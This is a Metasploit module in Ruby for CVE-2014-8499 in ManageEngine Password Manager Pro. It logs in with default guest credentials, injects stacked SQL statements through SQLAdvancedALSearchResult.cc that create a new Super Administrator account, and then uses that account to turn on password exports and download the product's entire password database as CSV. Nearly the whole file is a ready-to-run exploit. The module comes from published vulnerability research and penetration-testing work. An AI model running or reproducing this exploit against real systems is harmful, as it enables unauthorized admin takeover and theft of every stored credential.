327 lines
12 KiB
Ruby
327 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
|
|
'Description' => %q{
|
|
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
|
|
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
|
|
privileges and obtain Super Administrator access. A Super Administrator can then
|
|
use his privileges to dump the whole password database in CSV format. PMP can use
|
|
both MySQL and PostgreSQL databases but this module only exploits the latter as
|
|
MySQL does not support stacked queries with Java. PostgreSQL is the default database
|
|
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
|
|
so a higher version does not guarantee exploitability. This module has been tested
|
|
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
|
|
v7.1 build 7105 and above.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2014-8499' ],
|
|
[ 'OSVDB', '114485' ],
|
|
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/18' ],
|
|
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ],
|
|
],
|
|
'DisclosureDate' => 'Nov 8 2014'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(7272),
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
OptString.new('USERNAME', [true, 'The username to login as', 'guest']),
|
|
OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),
|
|
OptString.new('TARGETURI', [ true, "Password Manager Pro application URI", '/'])
|
|
])
|
|
end
|
|
|
|
|
|
def login(username, password)
|
|
# 1st step: we obtain a JSESSIONID cookie...
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc')
|
|
})
|
|
|
|
if res && res.code == 200
|
|
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
|
|
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/
|
|
orgn_name = $1
|
|
else
|
|
orgn_name = nil
|
|
end
|
|
|
|
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/
|
|
authrule_name = $1
|
|
else
|
|
authrule_name = nil
|
|
end
|
|
|
|
# 3rd step: we try to get the domainName for the user
|
|
cookie = res.get_cookies
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),
|
|
'ctype' => "application/x-www-form-urlencoded",
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
'RequestType' => 'GetUserDomainName',
|
|
'userName' => username
|
|
}
|
|
})
|
|
if res && res.code == 200 && res.body
|
|
domain_name = res.body.to_s.strip
|
|
else
|
|
domain_name = nil
|
|
end
|
|
|
|
# 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.
|
|
# For some reason send_request_cgi! doesn't work, so follow the redirect manually...
|
|
vars_post = {
|
|
'j_username' => username,
|
|
'username' => username,
|
|
'j_password' => password
|
|
}
|
|
vars_post['ORGN_NAME'] = orgn_name if orgn_name
|
|
vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name
|
|
vars_post['domainName'] = domain_name if domain_name
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';','')),
|
|
'ctype' => "application/x-www-form-urlencoded",
|
|
'cookie' => cookie,
|
|
'vars_post' => vars_post
|
|
})
|
|
if res && res.code == 302
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),
|
|
'cookie' => cookie,
|
|
})
|
|
|
|
if res && res.code == 200
|
|
# 5th step: get the c ookies sent in the last response
|
|
return res.get_cookies
|
|
end
|
|
end
|
|
end
|
|
return nil
|
|
end
|
|
|
|
|
|
def inject_sql(old_style)
|
|
# On versions older than 7000 the injection is slightly different (we call it "old style").
|
|
# For "new style" versions we can escalate to super admin by doing
|
|
# "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"
|
|
# However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.
|
|
if old_style
|
|
sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
|
|
else
|
|
sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
|
|
end
|
|
|
|
user_id = Rex::Text.rand_text_numeric(4)
|
|
time = Rex::Text.rand_text_numeric(8)
|
|
username = Rex::Text.rand_text_alpha_lower(6)
|
|
username_chr = ""
|
|
username.each_char do |c|
|
|
username_chr << 'chr(' << c.ord.to_s << ')||'
|
|
end
|
|
username_chr.chop!.chop!
|
|
|
|
password = Rex::Text.rand_text_alphanumeric(10)
|
|
password_chr = ""
|
|
password.each_char do |c|
|
|
password_chr << 'chr(' << c.ord.to_s << ')||'
|
|
end
|
|
password_chr.chop!.chop!
|
|
|
|
group_chr = ""
|
|
'Default Group'.each_char do |c|
|
|
group_chr << 'chr(' << c.ord.to_s << ')||'
|
|
end
|
|
group_chr.chop!.chop!
|
|
|
|
sqli_command =
|
|
"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" +
|
|
"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" +
|
|
"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" +
|
|
"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" +
|
|
"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" +
|
|
"insert into aaaauthorizedrole values (#{user_id},1);" +
|
|
"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
|
|
"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
|
|
"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + "$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);" +
|
|
"insert into aaaaccpassword values (#{user_id},#{user_id});" +
|
|
"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" +
|
|
"insert into ptrx_superadmin values (#{user_id},true);"
|
|
sqli_suffix = "-- "
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "SQLAdvancedALSearchResult.cc"),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'COUNT' => Rex::Text.rand_text_numeric(2),
|
|
'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,
|
|
'USERID' => Rex::Text.rand_text_numeric(4)
|
|
}
|
|
})
|
|
|
|
return [ username, password ]
|
|
end
|
|
|
|
|
|
def get_version
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri("PassTrixMain.cc"),
|
|
'method' => 'GET'
|
|
})
|
|
if res && res.code == 200 && res.body &&
|
|
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
|
|
(
|
|
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
|
|
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
|
|
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
|
|
)
|
|
return $1.to_i
|
|
else
|
|
return 9999
|
|
end
|
|
end
|
|
|
|
|
|
def check
|
|
version = get_version
|
|
case version
|
|
when 0..7104
|
|
return Exploit::CheckCode::Appears
|
|
when 7105..9998
|
|
return Exploit::CheckCode::Safe
|
|
else
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
end
|
|
|
|
|
|
def run
|
|
unless check == Exploit::CheckCode::Appears
|
|
print_error("Fingerprint hasn't been successful, trying to exploit anyway...")
|
|
end
|
|
|
|
version = get_version
|
|
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
|
|
if @cookie == nil
|
|
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")
|
|
end
|
|
|
|
creds = inject_sql(version < 7000 ? true : false)
|
|
username = creds[0]
|
|
password = creds[1]
|
|
print_good("Created a new Super Administrator with username: #{username} | password: #{password}")
|
|
|
|
cookie_su = login(username, password)
|
|
|
|
if cookie_su.nil?
|
|
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
|
|
end
|
|
|
|
print_status("Reporting Super Administrator credentials...")
|
|
report_super_admin_creds(username, password)
|
|
|
|
print_status("Leaking Password database...")
|
|
loot_passwords(cookie_su)
|
|
end
|
|
|
|
def report_super_admin_creds(username, password)
|
|
status = Metasploit::Model::Login::Status::SUCCESSFUL
|
|
|
|
service_data = {
|
|
address: rhost,
|
|
port: rport,
|
|
service_name: 'https',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: self.fullname,
|
|
private_type: :password,
|
|
private_data: username,
|
|
username: password
|
|
}
|
|
|
|
credential_data.merge!(service_data)
|
|
credential_core = create_credential(credential_data)
|
|
login_data = {
|
|
core: credential_core,
|
|
access_level: 'Super Administrator',
|
|
status: status,
|
|
last_attempted_at: DateTime.now
|
|
}
|
|
login_data.merge!(service_data)
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def loot_passwords(cookie_admin)
|
|
# 1st we turn on password exports
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),
|
|
'cookie' => cookie_admin,
|
|
'vars_post' => {
|
|
'IS_XLS' => 'true',
|
|
'includePasswd' => 'true',
|
|
'HOMETAB' => 'true',
|
|
'RESTAB' => 'true',
|
|
'RGTAB' => 'true',
|
|
'PASSWD_RULE' => 'Offline Password File',
|
|
'LOGOUT_TIME' => '20'
|
|
}
|
|
})
|
|
|
|
# now get the loot!
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),
|
|
'cookie' => cookie_admin,
|
|
'vars_get' => {
|
|
'RequestType' => 'ExportResources'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 200 && res.body && res.body.to_s.length > 0
|
|
vprint_line(res.body.to_s)
|
|
print_good("Successfully exported password database from Password Manager Pro.")
|
|
loot_name = 'manageengine.passwordmanagerpro.password.db'
|
|
loot_type = 'text/csv'
|
|
loot_filename = 'manageengine_pmp_password_db.csv'
|
|
loot_desc = 'ManageEngine Password Manager Pro Password DB'
|
|
p = store_loot(
|
|
loot_name,
|
|
loot_type,
|
|
rhost,
|
|
res.body,
|
|
loot_filename,
|
|
loot_desc)
|
|
print_status("Password database saved in: #{p}")
|
|
else
|
|
print_error("Failed to export Password Manager Pro passwords.")
|
|
end
|
|
end
|
|
end
|